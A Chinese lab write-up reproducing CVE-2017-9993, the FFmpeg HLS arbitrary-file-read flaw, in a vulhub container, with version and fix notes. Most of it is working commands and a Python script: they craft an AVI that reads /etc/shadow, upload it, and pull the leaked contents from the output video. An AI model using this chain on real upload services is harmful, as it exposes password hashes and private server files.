CVE-2017-9993漏洞复现
免责声明:
本文仅用于网络安全学习、防御研究与授权测试交流,严禁用于任何未经授权的攻击、入侵或破坏行为。
读者应遵守《中华人民共和国网络安全法》等相关法律法规,因滥用本文内容造成的任何后果,均由行为人自行承担,作者不承担任何责任。
如本文内容涉及侵权,请联系删除。
漏洞简介
CVE-2017-9993:FFmpeg HLS 文件名限制绕过
漏洞类型:路径遍历与任意文件读取(CWE-22)
核心原理:这是 CVE-2016-1897 的不完整修复。FFmpeg 在修复 CVE-2016-1897 时,未正确限制 HLS 播放列表中的文件名扩展名和解复用器名称,导致攻击者可以通过构造特制的播放列表数据,绕过修复逻辑,继续读取服务器上的任意文件。
攻击者将恶意的 HLS 播放列表嵌入到 AVI 文件的字幕块中(如 GAB2 字幕块),FFmpeg 在转码 AVI 时,会将这个字幕块当作 XBIN 视频流来处理,而 XBIN 编解码器在处理过程中会引用播放列表,从而触发文件读取。读取到的文件内容会被编码到输出的 MP4 视频帧中。
利用方式:使用 gen_xbin_avi.py 脚本生成恶意 AVI 文件,上传到目标服务器触发 FFmpeg 转码,然后从生成的 MP4 视频帧中提取被读取的文件内容。
影响版本:FFmpeg 2.8.12 之前、3.0.x 和 3.1.x 低于 3.1.9、3.2.x 低于 3.2.6、3.3.x 低于 3.3.2。
修复:升级到对应的修复版本(2.8.12、3.1.9、3.2.6 或 3.3.2)。
手动复现
┌──(root㉿kali)-[/opt/vulhub/ffmpeg/CVE-2017-9993/]
└─# git clone https://github.com/neex/ffmpeg-avi-m3u-xbin
┌──(root㉿kali)-[/opt/vulhub/ffmpeg/CVE-2017-9993/]
└─# cd ffmpeg-avi-m3u-xbin
┌──(root㉿kali)-[/opt/vulhub/ffmpeg/CVE-2017-9993/ffmpeg-avi-m3u-xbin]
└─# python gen_xbin_avi.py file:///etc/shadow shadow.avi
┌──(root㉿kali)-[/opt/vulhub/ffmpeg/CVE-2017-9993/ffmpeg-avi-m3u-xbin]
└─# curl -F "file=@shadow.avi" http://192.168.119.106:8080/ -i
HTTP/1.1 200 OK
Host: 192.168.119.106:8080
Connection: close
X-Powered-By: PHP/7.0.33-0+deb9u6
Content-type: text/html; charset=UTF-8
<html>
<head>
<meta charset="utf-8">
<title>Video Player</title>
</head>
<body>
<div>
<video src="./6ac9f33a71c33.mp4" controls="controls" width="640" height="480"></video>
</div>
<form method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="Submit">
</form>
</body>
</html>
查看通过服务器FFmpeg解析过后的视频
1.下载视频查看
┌──(root㉿kali)-[/opt/vulhub/ffmpeg/CVE-2017-9993/ffmpeg-avi-m3u-xbin]
└─# curl http://192.168.119.106:8080/6ac9f33a71c33.mp4 -o 123.mp4
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 420.6k 100 420.6k 0 0 210.2M 0 0

2.视频生成图片
┌──(root㉿kali)-[/opt/vulhub/ffmpeg/CVE-2017-9993/ffmpeg-avi-m3u-xbin]
└─# curl http://192.168.119.106:8080/6ac9f33a71c33.mp4 -o 123.mp4
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 420.6k 100 420.6k 0 0 210.2M 0 0
┌──(root㉿kali)-[/opt/vulhub/ffmpeg/CVE-2017-9993/ffmpeg-avi-m3u-xbin]
└─# ffmpeg -i 123.mp4 -vf "select='eq(n\,0)'" -vframes 1 123.png

脚本复现:
python
python -c "
import requests, re
r = requests.post('http://192.168.119.106:8080/', files={'file': open('shadow.avi','rb')})
print('状态码:', r.status_code)
m = re.search(r'src=\"\.\/([^\"]+\.mp4)\"', r.text)
if m:
fname = m.group(1)
url = 'http://192.168.119.106:8080/' + fname
print('下载地址:', url)
data = requests.get(url).content
open('output.mp4','wb').write(data)
print('已保存 output.mp4, 大小:', len(data), '字节')
else:
print('未找到视频路径,响应内容前 500 字节:')
print(r.text[:500])
"


复现环境搭建
提醒:容器大小1.11GB
git clone https://github.com/vulhub/vulhub.git
cd /vulhub/ffmpeg/CVE-2017-9993
docker compose up -d
